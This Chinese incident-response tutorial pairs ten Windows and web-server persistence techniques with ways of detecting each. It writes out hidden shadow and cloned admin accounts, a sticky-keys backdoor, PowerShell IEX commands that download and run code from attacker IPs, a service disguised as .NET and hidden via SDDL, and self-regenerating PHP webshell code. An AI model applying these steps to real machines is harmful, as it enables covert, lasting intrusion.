一、基本介绍
红队攻击者在对目标进行渗透利用后通常都会进行权限维持,以达到持续利用的目的。而作为防守方进行应急响应时,应该如何与技术高超(jiaohuajianzha)的攻击者斗智斗勇呢?或许可以通过本文可以找到答案。以下内容不仅可以助力你拿捏应急响应,也能够让你在红蓝对抗中更胜一筹。篇幅有限只能先写一下Windows系统的应急响应。
二、维持应急
(一)Windows隐藏维持
1.维持方法:通过输入以下命令进行隐藏后门木马文件
Attrib +s +a +h +r 【文件名】
2.隐藏效果: 此时即使打开了显示隐藏文件都看不见该文件
3.应急查找:通过输入以下命令来见招拆招查找隐藏后门
Attrib -s -a -h -r *.exe*
(二)影子账号维持
1.维持方法:在创建的账号后面添加一个`$`符号就会使其隐藏的特性来达到隐藏账号的目的,比如创建一个binbin$的账号
2.隐藏效果:此时无法通过输入net user查找到该新建用户
3.应急查找:可以通过输入win+R,然后输入lusrmgr.msc。在本地用户和组中可以查看到该隐藏账号
(三)克隆账号维持
1.维持方法:
a.使用第二条中的创建影子的方式创建一个影子账号,然后再Win+R→regedit进入注册表。
b.找到HEKY_LOCAL_MACHINE\SAM\SAM,首次进入需要右键修改一下其权限为完全控制。按F5进行刷新进入到该文件夹
c.将000001F4(超级管理员账号)的F项目的值全部复制
d.查看刚新建账号的对应的文件,可以看到该类型为0x3ea,所以新建账号binbin对应的文件夹为000003EA
e.将刚才复制到管理的F值粘贴到刚建立的账号000003EA中的F项
f.导出binbin$和3EB
g. 删除掉刚建立的影子账号,然后双击导入刚导出的注册表
2.隐藏效果:此时无论net user还是lusrmgr.msc查询都查看不到该克隆账号。但是能够使用该账号进行远程登录
3.应急查找:为什么刚才要将创建过程写这么详细,就是为了我们去寻找。我们可以同样来到注册表HEKY_LOCAL_MACHINE\SAM\SAM中,然后查找有没有跟000001F4(超级管理员账号)的F值一样的账号即是克隆账号
(四)组策略脚本维持
1.维持方法:win+R→gpedit.msc进入到组策略中,找到Windows设置→脚本→启动。然后添加后门的路径即可
2.维持效果:只要该主机进行启动,都会顺带启动该后门文件
3.应急查找:在应急响应的时候,为什么总有木马能够悄悄启动运行,可能就是因为这个组策略中设置了启动后门脚本。可以使用win+R→gpedit.msc进行查找,或win+R→msconfig查看启动项
(五)粘滞键后门维持
1.维持方法:
a.进入到`C:\Windows\System32`找到**sethc.exe**文件
b.修改其权限为当前权限可以进行完全控制并且所有者为当前用户
c.将其移动到其他位置,并用木马文件替换原本该**sethc.exe**文件
d.使用放大镜(Magnify.exe)、设置中心(utilman.exe)、屏幕放大中心(osk.exe)也能够实现此种维持效果
2.维持效果:此时不用输入任何密码,只要按粘滞键5次就会启动后门程序运行
3.应急查找:使用win+R→cmd进入到DOS界面后输入以下命令查找,如果有则表示该启动着并且可能已经被替换,可以通过右键查看其属性来查看其具体情况判断
tasklist | findstr "setch.exe"
tasklist | findstr "Magnify.exe"
(六)Winlogon无落地文件维持
1.维持方法:
a.在Powershell中输入以下命令进行修改Winlogon的Userinit字段的键值
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,***************"
b.然后继续在Powershell中输入以下命令来达到无文件落地就能执行后门效果,192.168.1.131为攻击机IP
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe, powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.131/a'))\""
2.维持效果:因为Winlogon.exe 进程是Windows自带的系统进程,所以很难发现
3.应急查找:仔细检查以下的注册表中的键值是否存在可以的程序
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
(七)映像劫持维持
1.维持方法:
a.Win+R→regedit进入注册表,找到以下目录下
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options
b.在该文件下新建一个比较有迷惑性的项(如原本就已经安装的常用软件)
c.然后在新建的项里面添加一个Debugger,并将其值修改为后门木马的绝对路径
d.将原本存在可执行文件包生成一个快捷文件,等待受害者点击即可
2.维持效果:此时只要受害者点击该快捷启动文件就会被劫持到启动后门文件
3.应急查找:
a.仔细检查注册表中以下路径中的程序名称及键值,查看其键值是否指向其对应名称的文件。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option
b.加固时可以将注册表审计打开,进入到softwar项并修改。同时禁止对注册表的远程访问,可关闭Remote Registry服务
(八)SDDL隐藏维持
1.维持方法:
a.输入win+R→cmd进入DOS界面后输入以下命令进行创建自启动服务,并启动该服务
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\administrator\beacon.exe" depend= Tcpip obj= Localsystem start= auto
b.此时可以通过sc query、Get-Service、services.msc方式进行查看到该服务器
c.所以可通过修改SDDL来隐藏服务
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU) (D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU) (A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY) (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
d.此时再使用sc query 已经查看不了该服务。同时在服务中也查看不了,但是可以在注册表中查看到该服务,并且能够看到该服务的地址指向写的后门文件
e.在kali中新建一个1.ps1,里面写入内容如下来隐藏注册表信息
f.然后开启临时http服务
g.在被攻击主机中输入如下命令来执行刚才生成的1.ps1文件。192.168.1.138为kali的IP
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.1.138/1.ps1'));Server-Sddl-Change -Name '.NET CLR Networking 3.5.0.0'"
2.维持效果:重启启动靶机后可以看到已经在注册表中完全隐藏了该项服务
3.应急查找:
a.可以使用Wireshark进行流量抓包,通过查看进出流量判断恶意连接软件的存在
b. 如果对方使用了以下的拒绝语句来隐藏,则可以使用以下语句来删除拒绝相关的SDDL语句,从而能够正常查询该后门
& $env:SystemRoot\System32\sc.exe sdset ".NET CLR Networking 3.5.0.0" "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
(九)PHP不死马后门维持
1.维持方法:使用如下不死马php持续不断生成木马文件
<?php
ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0); //通过set_time_limit(0)可以让程序无限制的执行下去
$interval = 5; // 每隔*秒运行
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w"); //修改此行可以改变生成的木马文件名
$txt = "<?php phpinfo();?>\n"; //此行为写入的木马文件内容,可根据需要进行修改
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while (true);
?>
2.维持效果:即使将该木马文件删除后也会不断产生,从而达到shell维持的效果
3.应急查找:
a.此时应该先关闭Web服务程序,如Apache或IIS等,然后查找web服务目录下是否存在可疑文件。
b.找到该不死马之后和生成的木马文件都删除干净后才重启Web服务程序。
c.可以使用everything中的dm语法,根据文件生成时间来查找该不死马和生成的木马文件
(十)IIS后门权限维持
1.维持方法:使用IIS_backdoor文件,在网站目录下新建一个/bin文件夹。并把IIS_backdoor_dll.dll存放在这里面。将IIS的自带文件(比如iis-85图片)作为启动路径
2.维持效果:如果将IIS_backdoor文件设置为隐藏就可以比较难于发现了,可以通过IIS_backdoor中的软件进行shell连接,执行任意命令
3.应急查找:
a.关闭Web服务程序,然后对Web目录进行查找
b.同样可以使用everything进行查找,查找语法为以下
dm:【时间】.dll
三、推荐工具
1.Everything:文件查找,可以按照建立时间全盘快速寻找到文件从而方便查找到隐藏的木马文件
2.Wireshark:流量分析,根据进出连接的流量进行分析,从而锁定攻击者IP
3.火绒剑:进程分析,可以直接分析运行进程和子进程,以及其对应的启动文件